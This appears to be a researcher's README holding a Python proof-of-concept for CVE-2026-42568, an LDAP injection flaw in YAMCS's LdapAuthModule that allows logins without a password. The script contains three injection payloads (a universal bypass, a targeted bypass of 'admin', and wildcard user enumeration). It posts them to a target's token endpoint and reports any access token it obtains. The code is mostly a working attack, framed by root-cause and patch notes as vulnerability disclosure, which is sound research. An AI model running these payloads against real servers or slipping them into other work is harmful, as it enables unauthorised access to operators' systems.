README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2026-42568 — YAMCS LDAP Injection in LdapAuthModule
=========================================================
Vulnerability: The username parameter in LdapAuthModule is
inserted directly into LDAP search filters
without RFC 4515 escaping.
Impact: Authentication bypass — log in as any user
without knowing their password.
Affected: yamcs-core < 5.12.7 (with LDAP auth enabled)
Fixed in: yamcs-core 5.12.7
CWE: CWE-90 (Improper Neutralization of Special
Elements used in an LDAP Query)
Advisory: https://github.com/yamcs/yamcs/security/advisories/GHSA-cqh3-jg8p-336j
Author: Daniel Miranda Barcelona (Excal1bur)
https://github.com/ex-cal1bur
=========================================================
Root cause (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
Example userFilter: (uid={0})
With malicious username:
*)(uid=*))(|(uid=*
Result:
(uid=*)(uid=*))(|(uid=*)
→ Universal OR match — bypasses authentication
=========================================================
"""
import requests
import sys
PAYLOADS = [
{
"name": "Universal bypass (any account)",
"username": "*)(uid=*))(|(uid=*",
"password": "anything",
"description": "Matches all entries — logs in as first user found"
},
{
"name": "Targeted bypass (specific user)",
"username": "admin)(|(objectClass=*",
"password": "wrongpassword",
"description": "Bypasses password check for 'admin' account"
},
{
"name": "Wildcard enumeration",
"username": "op*",
"password": "anything",
"description": "Matches any user starting with 'op' (e.g. operator)"
}
]
def test_ldap_injection(target, payload):
base = target.rstrip("/")
resp = requests.post(f"{base}/auth/token",
data={
"grant_type": "password",
"username": payload["username"],
"password": payload["password"]
},
timeout=5
)
return resp.status_code, resp.text[:300]
def main():
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8090"
print("=" * 65)
print(" CVE-2026-42568 — YAMCS LDAP Injection PoC")
print(f" Target: {target}")
print(" Note: Only effective when LdapAuthModule is configured")
print("=" * 65)
print()
print(" Root cause (LdapAuthModule.java):")
print(' var filter = userFilter.replace("{0}", username);')
print(" // No RFC 4515 escaping applied")
print()
for i, payload in enumerate(PAYLOADS, 1):
print(f"[{i}] {payload['name']}")
print(f" Username: {payload['username']}")
print(f" Password: {payload['password']}")
print(f" Logic: {payload['description']}")
try:
status, body = test_ldap_injection(target, payload)
print(f" Result: HTTP {status}")
if status == 200:
print(f" [!!!] AUTHENTICATION BYPASSED")
try:
import json
token = json.loads(body).get("access_token", "")
if token:
print(f" [!!!] Token received: {token[:40]}...")
except Exception:
pass
elif status == 401:
print(f" [-] Auth failed (LDAP may not be configured)")
elif status == 403:
print(f" [+] Access denied (patched or LDAP disabled)")
else:
print(f" [?] Unexpected: {body[:100]}")
except requests.exceptions.ConnectionError:
print(f" [-] Connection refused — is YAMCS running?")
except Exception as e:
print(f" [-] Error: {e}")
print()
print("=" * 65)
print(" Fix: Upgrade to yamcs-core >= 5.12.7")
print(" Fix applies RFC 4515 escaping before constructing LDAP filter")
print("=" * 65)
if __name__ == "__main__":
main()